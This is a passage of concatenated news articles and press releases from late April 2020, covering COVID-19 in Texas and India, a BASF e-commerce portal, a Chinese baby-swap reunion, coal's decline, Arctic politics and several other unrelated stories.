RaShall Brackney said: Frontline healthcare professionals and first responders are not immune to the mental or physical effects of the current pandemic." "On a daily basis, these professionals operate under the most stressful of circumstances, and the Coronavirus has introduced additional stressors. "Personal Protective Equipment (PPE) can reduce the likelihood of being infected, but what they cannot protect heroes like Dr Lorna Breen, or our first responders against is the emotional and mental devastation caused by this disease," he added. FLORHAM PARK, N.J., April 28, 2020 /PRNewswire/ -- BASF has introduced a digital sales platform for its OPPANOL polyisobutene product family. The company designed and built the new e-commerce portal in collaboration with Agilis Chemicals, a technology company headquartered in Short Hills, NJ. The digital distribution channel will enable customers located in the U.S. to place orders, track status and make payments through an intuitive, easy-to-use, secure online interface. "In addition to product quality and technical support, customers are looking for speed and convenience when making a purchase, and this new e-commerce portal will offer the familiarity and simplicity of online buying," said Marius Vaarkamp, Business Director, Fuel and Lubricant Solutions, BASF. "Agilis brings the technological expertise, including the use of artificial intelligence, and the industry knowledge which will enable us to implement this new online distribution channel while improving business processes, driving efficiency and strengthening relationships." OPPANOL is marketed as a solution for a diverse spectrum of applications in a wide range of industries including automotive, construction, packaging, electronics and food sectors. "With Agilis, buying chemicals is fast and secure, so BASF customers in the U.S. will have an enhanced digital experience," said Jay Bhatia, CEO and Founder of Agilis Chemicals. "Once buyers safely log into BASF's portal, they will be able to select grades best suited for their formulations, place and track orders online, and process payments without having to pick up the phone or send a single email." The portal offers many convenient features such as two-click reordering and order tracking which will save time when making a purchase. With this new tool, the OPPANOL buying process will become more efficient and transparent for customers. To register on the OPPANOL e-commerce portal visit: https://oppanol.agilischemicals.com About BASF BASF Corporation, headquartered in Florham Park, New Jersey, is the North American affiliate of BASF SE, Ludwigshafen, Germany. BASF has more than 18,800 employees in North America and had sales of $18.4 billion in 2019. For more information about BASF's North American operations, visit www.basf.com/us/. At BASF, we create chemistry for a sustainable future. We combine economic success with environmental protection and social responsibility. The approximately 117,000 employees in the BASF Group work on contributing to the success of our customers in nearly all sectors and almost every country in the world. Our portfolio is organized into six segments: Chemicals, Materials, Industrial Solutions, Surface Technologies, Nutrition & Care and Agricultural Solutions. BASF generated sales of around 59 billion in 2019. BASF shares are traded on the stock exchanges in Frankfurt (BAS)and as American Depositary Receipts (BASFY) in the U.S. Further information at www.basf.com. About Agilis Chemicals, Inc. Agilis is a technology company focused on driving digitalization of commerce processes in the chemical industry. With Agilis, global chemical producers and distributors can launch their own cloud-based branded e-commerce portals, fully optimized and equipped with modern marketing tools and analytics. Agilis offers chemical suppliers an easy and cost-effective way to attract and engage customers via secure digital sales and marketing channels. Headquartered in Short Hills, NJ, with its growing technology team based in New York City, Agilis combines industry experience and technology expertise in building advanced, scalable technology solutions. For more information about Agilis, please visit https://agilischemicals.com. BASF Media Contact: Jose Antonio Carranza Email: [email protected] Agilis Chemicals Media Contact: Jay Bhatia Email: [email protected] SOURCE BASF Corporation; Agilis Chemicals Inc. Related Links https://www.basf.com In times of crisis, Texans are always eager to lend a hand. I think about those who came together in the wake of Hurricane Harvey to lead search and rescue operations, clear debris and rebuild their communities. Though the crisis we face today is an entirely different breed, that same Texas generosity is still easy to find. From organizations like the Houston Food Bank stocking families pantries, to alcohol producers like Gulf Coast Distillers donating hand sanitizer, to a personal protective equipment (PPE) drive at Minute Maid Park these stories are a reliable source of comfort amid so much uncertainty. As Texans work together to flatten the curve and support one another, Im continuing the fight in Congress to get the resources our health care workers and local leaders need. I recently held a video conference with members of the Texas Nurses Association and heard from Kimberly Curtin, a nurse practitioner at MD Anderson, about the need for additional PPE such as masks, gloves and gowns. She said nurses are given a clean mask at the start of each shift, and that mask is supposed to last an entire day. After hours of wear, masks can become damp and soiled and carry germs from one patient to another. This practice is unsafe for both our health care workers and their patients. Congress has provided billions of dollars to increase our nationwide supply of PPE. Recent legislation included $16 billion for the Strategic National Stockpile to procure PPE and other medical supplies. It also provided $1 billion for the Defense Production Act to bolster domestic supply chains and speed up production for PPE, as well as ventilators and other urgently needed equipment. Our health care workers should never be in a position where theyre forced to decide between their own health and that of patients. Period. A key component of our ability to slow the spread, and eventually defeat COVID-19, is through testing. The sooner we can identify positive cases, the sooner these individuals can self-isolate, and notify those with whom theyve been in contact. Congress has passed legislation to expand testing capacity and make testing free of charge for all Texans. Last week, we took another major step forward and provided an additional $25 billion to support and expand state-led testing. We also bolstered funding to support our hospitals. Urban and rural hospitals alike are being crushed by the weight of this virus, and they need financial assistance to survive. Congress has provided $175 billion to help our hospitals and health care providers keep their doors open. One of the cascading effects of this virus is the broader impact on our health care system. The surge in coronavirus led to a statewide postponement of elective surgeries. In the beginning, this made sense: we needed to free-up medical resources to fight COVID-19. We must remember, though, that elective doesnt mean unimportant. Procedures covered by these cancellations include everything from cancer biopsies to organ transplants, and patients living with chronic pain who once had a surgery date a sign of hope had to continue living with the pain. A recent executive order issued by Gov. Greg Abbott has loosened these restrictions and given hospitals the ability to perform procedures that arent expected to reduce coronavirus response capacity. This is welcome news for Texans whose procedures have been postponed and marks a small but significant step toward restoring normal operations. As we look for that light at the end of the tunnel, its important to remember that much is still unknown about COVID-19. While we are learning more and making progress every day, the right balance needs to be struck to ensure public safety. While Texans continue to support their communities, I want to thank those who are in the trenches battling this virus. Texas doctors, nurses, first responders and health care workers make physical and emotional sacrifices every day to support their patients. These brave men and women offer more than lifesaving care theyre a hand to hold, a friendly face and a source of comfort for patients who are isolated from family and friends. Thank you to the health care workers who are keeping Texans safe. We stand with you. Cornyn is the senior United States senator for Texas. This is the emotional moment a mother breaks down in tears when she hugs her biological son for the first time in nearly three decades after he was swapped by accident at birth. The pair were reunited in China two months after the woman discovered that the child she had raised for 28 years was someone else's through a DNA test. The mother, known by her alias Jiang Yanli, was trying to donate part of her liver to her cancer-stricken son when she made the shocking discovery. The hospital where Mrs Jiang gave birth said that they will investigate the accident that had changed the lives of two families forever. The mother, known by her alias Jiang Yanli, was trying to donate part of her liver to her cancer-stricken son when she made the shocking discovery Mrs Jiang's son, known by his alias Zhang Qi, has been receiving treatment at a hospital in the Chinese south-eastern city Nanchang after he was diagnosed with liver cancer in late February. The Chinese mother decided to save her dying son's life by donating part of her liver to him but only to find out that their blood types did not match. The family then took a DNA test and discovered that their son of 28 years was not their biological child. The pair were reunited in China two months after the woman discovered that the child she had raised for 28 years was someone else's through a DNA test Hoping to find Zhang's birth parents for a liver transplant, the Jiangs tracked down medical records at the Huaihe Hospital of Henan University, where the mother gave birth. It turned out that Mrs Jiang's baby boy was mistakenly handed to another mother who also gave birth at almost the same time on June 15, 1992. With the help from local police, Mr and Mrs Jiang finally reunited with their biological son, known as his alias Guo Ming, on April 17. An emotional video captured the moment Mrs Jiang meeting her long-lost son for the first time after 28 years. Guo, who now works as a police officer, has started his own little family with a wife and children. He told the local press: 'When the police first called my foster father, he thought it was a scam. 'But coincidentally, my biological mother reported it to the same police station where I work,' Guo said. 'I was totally perplexed. I thought it was impossible for something like this to happen. He continued: 'It was a flood of different emotions. It's very difficult to describe with words.' It turned out that Mrs Jiang's baby boy was mistakenly handed to another mother who also gave birth at almost the same time on June 15, 1992. The picture taken on February 21 shows a nurse holding a newborn baby at a private obstetric hospital in Wuhan Zhang's biological mother, who is a Hepatitis B carrier, was also diagnosed with liver cancer and had undergone an operation recently, according to the press. Because of his frail condition, the Jiangs still haven't told Zhang about his real parents due to fears that the trauma could threaten his health further. The families also believed that a Hepatitis B vaccine, which Zhang was meant to receive, was mistakenly injected to Guo, who was healthy. The hospital said that they will look into the incident and investigate how the two babies were accidentally switched. Zhang is still at the hospital receiving treatment. His birth father said that he is planning to take a compatibility test at the hospital for a potential liver transplant with Zhang. Guo said that he will try to visit his biological parents as often as possible. He also hoped that Mr and Mrs Jiang could move to his city once they retire. Sorry! This content is not available in your region Maharashtra Chief Minister Uddhav Thackeray spoke to his Uttar Pradesh counterpart Yogi Adityanath over phone on Tuesday and expressed concern over the killing of two priests in Bulandshahr district, Shiv Sena leader Sanjay Raut said on Tuesday. The killing of priests in Uttar Pradesh should not be communalised like the Palghar incident in Maharashtra, Raut said, in an apparent taunt at the BJP. Talking to PTI, Raut said Thackeray spoke to the Uttar Pradesh chief minister and expressed concern over the incident in Bulandshahr. "Uddhavji said when such incidents happen, we should refrain from indulging in politics and unitedly work to punish the culprits," Raut said. Earlier, Raut in a tweet termed the killing of the two priests in Bulandshahr as "inhuman and brutal". "Terrible ! killing of two saints, sadhus at a temple in Bulandshahar,UP, but I appeal to all concerned to not make it communal the way they tried to make Palghar, Maharashtra incidence," he tweeted. "Maintain peace. The country is fighting corona and YogiAdityanath will punish the culprits," he said in another tweet. In Palghar, a mob lynched three men - two seers and their driver - on April 16 when they were going from Mumbai in a car towards Surat in Gujarat to attend a funeral. Their vehicle was stopped near a village in Palghar district where the three were dragged out of the car and beaten to death with sticks by a mob on suspicion that they were child-lifters. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Metro Manila (CNN Philippines, April 27) A Filipina caregiver in Taiwan is under investigation for cyber libel following her "nasty" Facebook posts about President Rodrigo Duterte online, Malacanang said Monday. Labor officials said over the weekend that the Filipino worker in Yunlin County is also being petitioned for deportation by the Department of Labor and Employment for berating Duterte on Facebook. "Ang alam ko ay iniimbestigahan na ito ngayon ng [I learned that this is already being investigated by the] Cybercrime Division ng National Bureau of Investigation," Presidential Spokesperson Harry Roque said in a televised briefing. Officials said the worker is under investigation for the "wilful posting of nasty and malevolent materials against President Duterte on Facebook intended to cause hatred amidst the global health crisis brought about by the COVID-19 pandemic." The Philippine Overseas Labor Office in Taiwan also said they have been in touch with the OFW's recruiter and employer on her deportation. Authorities met with the Filipina worker on April 20 to "enlighten" her that her posts constituted a crime, and made her commit to delete her posts and upload her public apology on video, the DOLE said. After that supposed meeting, reports now claimed that fake accounts have sprouted to support the worker's remarks, which DOLE said was also being controlled by the embattled OFW. She was also accused of running a group "organized to discredit and malign the President and destabilize the government." In a separate online forum organized by the Foreign Correspondents Association of the Philippines, retired Senior Associate Justice Antonio Carpio said Filipinos being penalized for criticizing the government should know better than to be "intimidated" by authorities. "The rule is you cannot punish speech, expression unless there is a clear and present danger that the expression invites imminent lawless action from the person who hears or reads it," Carpio said, reacting to the provision in the Bayanihan to Heal as One Act about punishing false news and other negative posts against the administration. "There's a very high bar that they (police) have to overcome." Citywide A bloody mary at Elixir. | Photo: Lendl C./Yelp The Bay Area's shelter-in-place order has brought countless events usually held as in-person gatherings online. We're aiming to support local businesses in San Francisco and Oakland by highlighting five of these events each day. Got a suggestion for an online event based in SF or Oakland? Email our events reporter, Teresa Hammerl. Here's your SF event calendar for Tuesday, April 28. Learn about the Roman Empire from an ancient art curator, join a pub quiz or work out to a live DJ all from the comfort of your couch. Ibrahim Mahama and Sarah Ladipo Manyika Photo: Museum of the African Diaspora/Facebook Join the Museum of the African Diaspora for an online conversation between internationally acclaimed Ghanaian artist Ibrahim Mahama and best-selling Nigerian novelist Sarah Ladipo Manyika. They'll discuss Mahamas 2016 installation inspired by Manyikas debut novel "In Dependence," which is comprised of hundreds of shoemakers' boxes. When: Tuesday, April 28, 12 p.m. How to join: Register online Price: Free Louise Chu: Hadrian's Wall Image: Legion of Honor Museum/Facebook Stuck at home with wanderlust? Join the Legion of Honor Museum for one of its "travelogue" talks, with a rotating cast of curators discussing their pre-pandemic journeys to view art around the globe. In this edition, Louise Chu will discuss and show photos of her 2018 trip to Hadrian's Wall, a stone and turf fortification in Northern England. Built by the Roman Empire to stop attacks by Scottish tribes, it spans 91 miles, which Chu explored on a 10-day walking tour. When: Tuesday, April 28, 2 p.m. How to join: Via Facebook Live Price: Free Halcyon Workout Club Add coal to the list of global commodities struggling during the pandemic. Prices haven't yet turned negative, as oil's have, but coronavirus is accelerating the demise of the dirtiest fossil fuel. Social distancing measures mean energy demand has fallen across the board. Some of the smallest declines, however, are in the electricity sector. That should have been good news for coal. But it hasn't turned out that way. In much of the world coal power is more expensive than gas and renewables, which explains why its share in the electricity mix has fallen in Europe, India, China, and parts of the U.S. The power markets in these four regions are large and varied. That makes the uniformity of coal's decline even more surprising. But perhaps it shouldn't be. Policymakers and activists have spent years trying to reveal the true costs of coal's environmental impacts, with the aim of making the fuel economically less attractive. Nearly half the world's coal power plants are now running at a loss, according to the think tank Carbon Tracker. Europe is a prime example of how to manage coal's exit systematically. In the past two weeks, Austria and Sweden announced that they have shut their last coal-fired power plants. They've now joined Albania, Belgium, Estonia, Latvia, Lithuania and Norway as countries without coal in their electricity mix. On April 28, the U.K.'s grid operator posted a record-nearly 19 continuous days-of not using coal for electricity. Kathrin Gutmann, campaign director for Europe Beyond Coal, explained the lessons Europe can teach the world. At a federal level, three policies have proven to be most effective: pollution regulation on power plants to lower emissions of sulfur, nitrogen oxides and particulate matter (coal produces more of all these than gas); a tax or price on carbon dioxide emissions (coal emits double the carbon per unit of energy compared to gas); and mandates to increase the share of renewables in the electricity mix. But that's not enough. Difficulties at the local level also need to be addressed. Unlike solar and wind, coal power can be turned on and off when needed. That means grid operators need to figure out alternatives for when the use of coal ends-be it converting the power plants to using gas, installing batteries, or finding ways of importing clean electricity from other regions whenever needed. The local challenges are bigger for countries and regions that mine coal and provide well-paying jobs for thousands of people. The end has to come with a plan to transition coal-dependent livelihoods. For instance, Germany is looking at a package worth $55 billion as compensation for regions and companies that rely on coal. Similarly, the European Union is working on a "just transition fund" that could invest as much as $111 billion in even more coal-reliant countries like Poland. Two further policies are needed to ensure that coal's demise doesn't just happen but comes fast enough. First, deadlines to phase out coal need to based on climate science. France, Sweden, Slovakia, Portugal, U.K., Ireland and Italy plan on exiting coal by 2025, which is in line with the science. Not everyone is getting it right. Germany plans to exit coal by 2038, which is too late for meeting Paris climate agreement goals, said Gutmann. Even 2030, the phaseout date of choice for the Netherlands, is likely the latest possible date for a European country if global warming is to be kept under 1.5 degrees Celsius. Second, setting those deadlines in stone through some form of legislation goes a long way to ensure that short-term political thinking doesn't get in the way. The U.K. and France have been praised for setting regulation goals tied to emissions efficiency, which leaves coal power with few loopholes. If nothing else works, be prepared to get sued. Environmental group Urgenda won a case against the Dutch government, forcing the country to cut its 2020 emissions by 25% compared to 1990 levels. On Friday, the government announced it will curtail coal power plants to meet those goals. After years of tinkering, there are now many strategies to end the dominance of coal for good. The job has become easier because technological forces have made alternatives cheaper. Coal's end is inevitable, and it may happen sooner than many think. [April 28, 2020] alliantgroup Announces the 2020 HISD Elementary Science Teacher Award Winner HOUSTON, April 28, 2020 /PRNewswire/ -- This is the second year alliantgroup has partnered with the Houston Independent School District to sponsor the Elementary Science Teacher Award and we are thrilled to announce this year's winner, Kirk Coppes from Ashford Elementary! This award was created to reward local teachers who are increasing student achievement and engagement through innovative lesson plans that emphasize the importance and intrigue of science. It's just one of the many educational initiatives that alliantgroup is involved in as part of its continuing efforts to promote the importance of STEM education. Each finalist was chosen based on the innovative teaching methods they are using to get their students engaged and interested in the field of science. The finalists were chosen by HISD based on the applicant's implementation of a uniquely innovative lesson plan that effectively immerses their students in STEM fields. One finalist was chosen from each of the six Houston ISD regions. "I can't tell you how amazing it is to see the things these wonderful teachers are doing to get their students not just interested in science, but excited for science," alliantgroup CEO Dhaval Jadav said. "These teachers really stand out because they're not happy just following the same old lesson plan. They're thinking outside the box and we need to keep encouraging these innovators any way we can." These teachers will all be recognized not only with the cash prizes, but also media spots to highlight their commendable work. The grand prize winner of the alliantgroup Houston ISD Elementary Science Teacher Award was selected during a virtual interview meeting with all the finalists and four judges. The judge's panel include alliantgroup Strategic Advisory Board Member and former Congressman representing Washington state Rick White, XFL's Houston Roughnecks President Brian Cooper, Ebony Wiley with the Rice Center for Engineering Leadership and Dr. Franklin Allaire, Assistant Professor of Science Education, Urban Education Faculty at the University of Houston Downtown. The five finalists will receive a cash award of $1,300 as well as $500 for their classrooms. The grand prize winner, Mr. Coppes, will receive a cash prize of $3,500 as well as $500 to make his classroom even more exciting! The other five amazing finalists were: Gretchen Campbell Southmayd Elementary School Southmayd Elementary School Henrietta Dixon Hartsfield Elementary School Hartsfield Elementary School Shawn Flores Bruce Elementary School Bruce Elementary School Yolanda Guzman Smith Elementary School Smith Elementary School Kassandra Rios Marshall Elementary School The alliantgroup Elementary Science Teacher Award was created to reward local teachers who are increasing student achievement and engagement through innovative lesson plans that emphasize both the importance and fun aspects of science. For more information on the 2020 Elementary Science Teacher Award, as well as alliantgroup's other education initiatives, please visit alliantgroup.com. alliantgroup is a management consulting company with a mission to strengthen American businesses through reinvestment in innovation and job growth. We educate businesses, the industry groups that serve them and the accounting firms that advise them on federal and state credits and incentives that are legislated by our government to keep the U.S. competitive in the global landscape. We are proud to have helped over 16,000 businesses claim more than $8 billion in credits and incentives. alliantgroup is headquartered in Houston, Texas with additional offices located in Austin, Boston, Chicago, Indianapolis, New York, Irvine, Sacramento, Washington, D.C.; and Bristol and London in the U.K. For more information, visit alliantgroup and engage with us on LinkedIn, Facebook, Twitter and YouTube. View original content to download multimedia:http://www.prnewswire.com/news-releases/alliantgroup-announces-the-2020-hisd-elementary-science-teacher-award-winner-301048654.html SOURCE alliantgroup [ Back To TMCnet.com's Homepage ] Russias ambassador to Denmark on April 27 accused the United States of pursuing a policy of confrontation in the Arctic region in a bid to achieve dominance. Ambassador Vladimir Barbins comments to the Danish daily Politiken came days after Washington announced a $12.1 million economic-aid package for Greenland, which is an autonomous region of the Kingdom of Denmark. Washington also announced plans to reopen its Consulate in Nuuk, Greenlands capital. That office was closed in 1953. Barbin also objected to a recent statement by U.S. Ambassador to Denmark Carla Sands, who described Russias activity in the Arctic region as aggressive and an obstacle to the Wests efforts to promote peaceful development. The United States has a sick attitude to the large-scale investment projects of other states, as well as the advancement of various conspiracy theories and conjectures regarding the economic activities in the Arctic of other states, Barbin said. In recent years, the vast but sparsely populated Greenland has been a focus of attention amid Russian and Chinese commercial and military buildups in the region. The Arctic has seen an opening of new sea lanes due to climate change, which has spurred commercial and military rivalry. U.S. President Donald Trump suggested last year that the United States would consider buying Greenland from Denmark. That suggestion was immediately rejected by Denmark. Greenland is strategically important to the U.S. military and its ballistic-missile early warning system. Based on reporting by Reuters, The Washington Post, and The Wall Street Journal China expands Marine Corps' aerial assault capabilities following Type 075 ship launch Global Times By Liu Xuanzun Source:Global Times Published: 2020/4/27 22:04:15 In addition to intensive training, the Chinese People's Liberation Army (PLA) Navy is boosting the aerial assault capabilities of its Marine Corps by systematically expanding it with combat-proven former Army units, a timely move to ready personnel in advance to maximize the power of the two recently launched Type 075 amphibious assault ships, analysts said on Monday. The Valiant Assault Exemplary Company and the Nianzhuangwei Assault Exemplary Company are now parts of a Marine Corps aerial assault brigade, according to a story published by PLA Daily on April 13. Both companies won glory during the War of Liberation (1946-49), and they used to be under the command of the Army, but now they have joined the Navy's Marine Corps, Zhengzhijian, a WeChat public account run by Beijing Youth Daily, reported on Friday. This was a part of an effort to expand China's newly formed Marine Corps, Zhengzhijian said. The PLA Daily report did not say when the shift took place. China's second Type 075 amphibious assault ship was launched on Wednesday after the first one was launched in September 2019, and military experts said that aerial assault forces of the Marine Corps are expected to be the core combat forces that use amphibious assault ships. Beijing-based naval expert Li Jie told the Global Times that amphibious assault ships mainly conduct vertical deployment and landing missions on islands and reefs like the island of Taiwan and those in the South China Sea. These warships with large flat flight decks can transport troops vertically via helicopters much faster than using only horizontal means, Li said. China has a tradition in military development: "It is better to let trained personnel wait for new weapon development than to let weapons that have finished development wait for personnel training," and the development of the Marine Corps' aerial assault forces must go in tandem, if not faster, than the development of the Type 075 and the helicopters, a military expert who asked not to be named told the Global Times on Monday. Moving combat capable units into the Marine Corps could be an efficient way to expand its capabilities in a short time, analysts said. China has been holding intensive training and exercises for the Marine Corps. The troops have not only trained in land and waters across China, but have also used warships and trained across the world, significantly boosting their combat capabilities in all terrain, all dimensions and all times, according to a separate PLA Daily report on Thursday. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A screen capture of an inappropriate message allegedly sent by a Gimhae city official By Kim Se-jeong The Gimhae city government will investigate an employee who allegedly sent inappropriate messages to a female resident under self-quarantine amid the COVID-19 pandemic. "Depending on the findings, the city government will decide on a sanction against him," a city government official said Tuesday, adding that the employee was in a state of shock and had taken a short vacation. The resident had returned from New Zealand and self-quarantined between April 11 and 25, and the city employee was assigned to monitor her all arrivals must go into self-quarantine and local government officials near the self-quarantine locations monitor their whereabouts. According to news reports, the two met on April 13 for the first time when he brought her some personal hygiene products, and soon after she began receiving seemingly personal messages. One message allegedly said, "Dear, send me your picture that can show you're at home. You don't have to show your face. I was told to make a surprise visit to you and I don't want to follow the instruction. And don't tell this to anyone. This is a secret." In another message, he allegedly wrote, "You don't answer the phone. Then, your angel has to come to check on you. Please reply." Speaking to a local newspaper, the female resident said he also sent unnecessary videos including of his family members. "I didn't want to tell him directly that I didn't like the messages, but they were very unpleasant," she said. On the last day of quarantine, he allegedly wrote, "Thank you for your cooperation. As of midnight tonight, you are free. Enjoy your freedom. If you earn enough money, please buy me a drink. I am sending the last video file. I hope you enjoy it and good luck to you." The city employee reportedly explained he only added a personal touch in his messages because he wanted her to feel comfortable during lockdown. As far as sending video files, he explained it was his hobby and there was nothing inappropriate. U.S. Extends Waiver For Iranian Energy To Baghdad, But Pressure Mounts April 27, 2020 U.S. Secretary of State Mike Pompeo has reportedly granted a fresh extension on a waiver to let Iraq import electricity from neighboring Iran as efforts continue to form a lasting government in Baghdad, but possibly for a shorter period to press the Iraqi administration into greater action. Reuters and AP quoted unnamed sources on the U.S. and Iraqi sides confirming the prolongation of the State Department waiver. But the U.S. source, from the State Department, suggested it would be reevaluated sooner than the 90, 120, or even 30 days that were being granted up to last month. "The secretary [Pompeo] granted this brief extension of the waiver to allow time for the formation of a credible government," Reuters quoted a State Department official as saying, adding that the new waiver would expire on May 26. Washington has been prodding Iraq, which is OPEC's second-biggest oil producer, toward self-sufficiency in the energy sector as it has allowed the import of energy from longtime U.S. foe Iran. AFP quoted the Iraqi source as saying the U.S. waiver "is extended for another 30 days. There are no specific conditions." Iraqi President Barham Salih recently tapped the third person in less than three months, intelligence chief Mustafa al-Kadhimi, to lead a government amid an ongoing crisis that emerged with the onset of deadly anti-government protests last year. Al-Kadhimi has been in tough talks with political parties to form a cabinet and has until May 9 to submit a lineup to parliament for a vote of confidence. "Once that government is in place, the secretary will reassess whether to renew the waiver and for how long, and looks forward to resuming our cooperation with the government of Iraq to reduce Iraq's dependence on unreliable Iranian energy imports," Reuters quoted the State Department official as saying. Based on reporting by Reuters and AFP Source: https://www.rferl.org/a/u-s-extends-waiver -for-iranian-energy-to-baghdad-but- pressure-mounts/30578486.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A community celebrated the 90th birthday of one of its residents with a parade of honking cars. As social distancing measures continue, neighbours in Kingston Township, Pennsylvania, turned out to celebrate the birthday of professional trumpet player Bobby Baird from the safety of their cars. In addition to honking and waving, neighbours driving by the home of Baird, an award-winning trumpeter who has played for presidents, also brought balloons, signs and artificial cake. One neighbour played the trumpet for Baird from a safe distance, while a younger neighbour played the instrument from the trunk of a car. I tried to count the cars and I lost track. I really did. But this is great, Baird told WBRE, adding that he was going to tear up thinking about the celebration. We have such great neighbours and, Im going to tear up here but I dont care. Kids, an old man cries once in a while, Baird said. According to his neighbours, the opportunity to celebrate Baird turning 90 was an opportunity of a lifetime. This is the opportunity of a lifetime. And its also friends take care of friends, pandemic or not. You show up, Bairds friend Al Blannett told the outlet. And despite his age, Bairds trumpet-playing days are far from over. In addition to regularly performing with Scranton-based Doug Smiths Dixieland All-Stars, the 90-year-old hopes to accomplish one more thing during his lifetime - becoming admitted to the Guinness Book of World Records as the oldest trumpet player still playing. Neighbours turned out to celebrate the trumpeter's birthday (WBRE) In honour of his birthday, and all those who showed up to celebrate, Baird made sure to play his trumpet for his audience while standing on his porch alongside his wife. GST Opposition-led states have approached the Centre for goods and services tax (GST) beyond the stipulated period till 2023 or 2024 in light of the coronavirus. Finance ministers of states including Kerala, West Bengal, Punjab and Delhi highlighted the cash requirement during the video conference with Prime Minister Narendra Modi on April 27, said a report by The Economic Times. The ministers said that the funding would be utilised as aid for MSMEs and service sectors impacted by the COVID-19 pandemic. Punjab Finance Minister Manpreet Badal said as per the report that while due compensation should be given, the GST Council should also borrow and let the compensation continue for a year or two after 2022 also, which can be collected later. Follow our LIVE Updates on the coronavirus pandemic here Kerala and Delhi also spoke for additional funds during the meet, while West Bengal said it had only received inappreciable amount and pushed for pending GST dues to be cleared immediately. West Bengal also wrote to Finance Minister Nirmala Sitharaman, seeking a CSR tag for donations given to the state chief ministers relief fund. The issue was supposed to be raised at a separate GST Council meeting which was cancelled due to the lockdown. The states have planned to take up the matter with the Centre individually as well. State GST compensation is pending since December 2019, after the centre paid off the second tranche of the Rs 34,053 crore of October and November 2019 dues in early April. Mumbai, April 28 : It seems actress Kalki Koechlin wants to expose her toddler Sappho to various languages right from the start. After singing an African lullaby, "O lele" a few days ago, Kalki is back to her lullaby sessions. This time she sings in Portuguese. Taking to Instagram, Kalki posted a video in which she is seen strumming the ukulele and singing a Portuguese lullaby to Sappho, who lies in a cradle. Kalki also shared that she learnt the Portuguese lullaby while shooting for her web series, "Smoke" in Goa. "This is a Portuguese lullaby I learnt when playing the Portuguese character Tara in the web series ' Smoke'. Watch out for the sparrows who make an appearance in our song," she captioned the video. Kalki and her boyfriend Guy Hersberg welcomed Sappo in February 2020. She had previously married filmmaker Anurag Kashyap in 2011 but the two separated after a couple of years. -- Syndicated from IANS Mariposa Public Health View Photo Mariposa, CA Mariposa County had been among only a handful of California counties with no confirmed cases of COVID-19. However, this morning the Mariposa Public Health Department announces the first confirmed case is a 23-year-old woman. It is believed that she contracted the virus while traveling outside of Mariposa County. She is currently isolating at home in the county. The public health department is investigating the incident and determining any potential other contacts she may have had locally. The only remaining counties with no confirmed cases are Lassen, Modoc, Sierra and Trinity. UPDATE: Margaret Owens Whaley was found safe about 11:30 p.m. Monday at the Flying J convenience store on Daniel Payne Drive, several miles from her nursing home. She was taken to the hospital for evaluation. EARLIER: Authorities are asking for the publics help in finding a 61-year-old Jefferson County woman who is missing. Margaret Owens Whaley is an Alzheimers patient at Cherry Hill nursing home. According to the Jefferson County Sheriffs Office, she broke a window and left the facility. Whaley was last seen about 4 p.m. Monday in the 1000 block of Dugan Avenue in Birmingham. She was wearing a pink shirt, blue jeans and dark jacket. Margaret Owens Whaley (Contributed) The woman is a 5-feet, 4-inches tall and weighs 120 pounds. She has brown hair and blue eyes. Jefferson Countys Star One helicopter, tracking dogs and and search and rescue teams have all been activated in the search. Anyone with information on her whereabouts is asked to call the Jefferson County Sheriffs Office at 205-325-1450 or call 911. The nationwide tally of confirmed coronavirus infections crossed 30,000 on Tuesday and the death toll was seen inching towards 1,000 with Maharahstra, Gujarat and some other states reporting more fatalities, but hopes for any immediate cure were dashed after the Health Ministry said there is not enough evidence as yet to back plasma therapy as its treatment. The Ministry also cautioned there could be life-threatening complications if proper guidelines are not followed in administering the plasma therapy, in which blood plasma is transfused from a recovered COVID-19 patient to a critically-ill person. The therapy, which is currently in trial stage, works on a principle that immunity can be transferred from a healthy person to a sick patient using antibodies in convalescent plasma. As per the latest figures announced by various states and union territories, more than 30,200 people have been tested positive for this deadly virus across the country. At least 947 have died, but more than 7,000 have recovered. The figures suggest that an average of about one in 25 has tested positive so far. Among those having tested positive, one in 30 has died on an average, while the ratio of those having recovered is approximately one in four. There has been a widespread hope that plasma therapy can be a possible treatment for COVID-19 after the Delhi government said it has seen encouraging results on some patients, while few other states including Rajasthan and Karnataka have also begun the trials. Uttar Pradesh Chief Minister Yogi Adityanath directed officials on Tuesday itself to encourage use of plasma therapy, while steps are already underway at various places to create 'plasma banks'. Several people who have recovered after contracting the virus have offered to donate their plasma for treatment of others. At his daily press briefing on the COVID-19 situation, Union Health Ministry Joint Secretary Lav Agarwal said the Indian Council of Medical Research (ICMR) has launched a national-level study to check efficacy of the plasma therapy, but till this study is completed and a robust scientific proof is available, this therapy should be used only for research or trial purpose. "If plasma therapy is not used in a proper manner under proper guidelines, then it can also cause life threatening complications," Agarwal said. The Health Ministry official, however, said the recovery rate of COVID-19 patients has as such improved to 23.3 per cent of total cases. In its 5 PM update, the Ministry said the COVID-19 death toll has risen to 937, after more than 50 deaths since Monday evening including in Maharashtra, Gujarat, Madhya Pradesh, Rajasthan and Jammu & Kashmir, while the number of cases has climbed to 29,974. According to the ministry data, 1,594 new cases have been reported since Monday evening. The number of active COVID-19 cases stands at 22,010, while 7,026 people have recovered, and one patient has migrated, the ministry said. However, a PTI tally of figures reported by various states and UTs, as of 8 PM, showed 30,255 confirmed cases, including 947 deaths and 7,078 recoveries. Maharashtra has reported the maximum cases at over 8,500 and at least 369 deaths. Gujarat has over 3,700 cases, while Delhi also has more than 3,100 confirmed cases. Each of Rajasthan, Madhya Pradesh, Tamil Nadu and Uttar Pradesh have reported more than 2,000 cases. A 55-year-old Central Reserve Police Force (CRPF) personnel also died on Tuesday due to coronavirus infection. This is the first COVID-19 death reported in paramilitary forces that function under the Union Home Ministry for upkeep of internal security and border guarding. A nationwide lockdown has been imposed till May 3 by the government to check the spread of this deadly virus, which has claimed more than two lakh lives worldwide and over 30 lakh people have got infected since it first emerged in China last December. Several countries have implemented lockdown and other containment measures, though some of them including New Zealand, France and Switzerland have begun relaxing those curbs. In the coming days, some clarity is expected to emerge about the ongoing lockdown in India. In Delhi, Lt Governor (LG) Anil Baijal directed all district magistrates to implement a "micro-containment zone strategy" in their respective areas to arrest the spread of COVID-19, an official said. Under this plan, small clusters reporting cases of the dreaded virus will be identified and declared containment zones instead of big ones. At present, the authorities block the entry and exit points of an area where COVID-19 cases emerge and 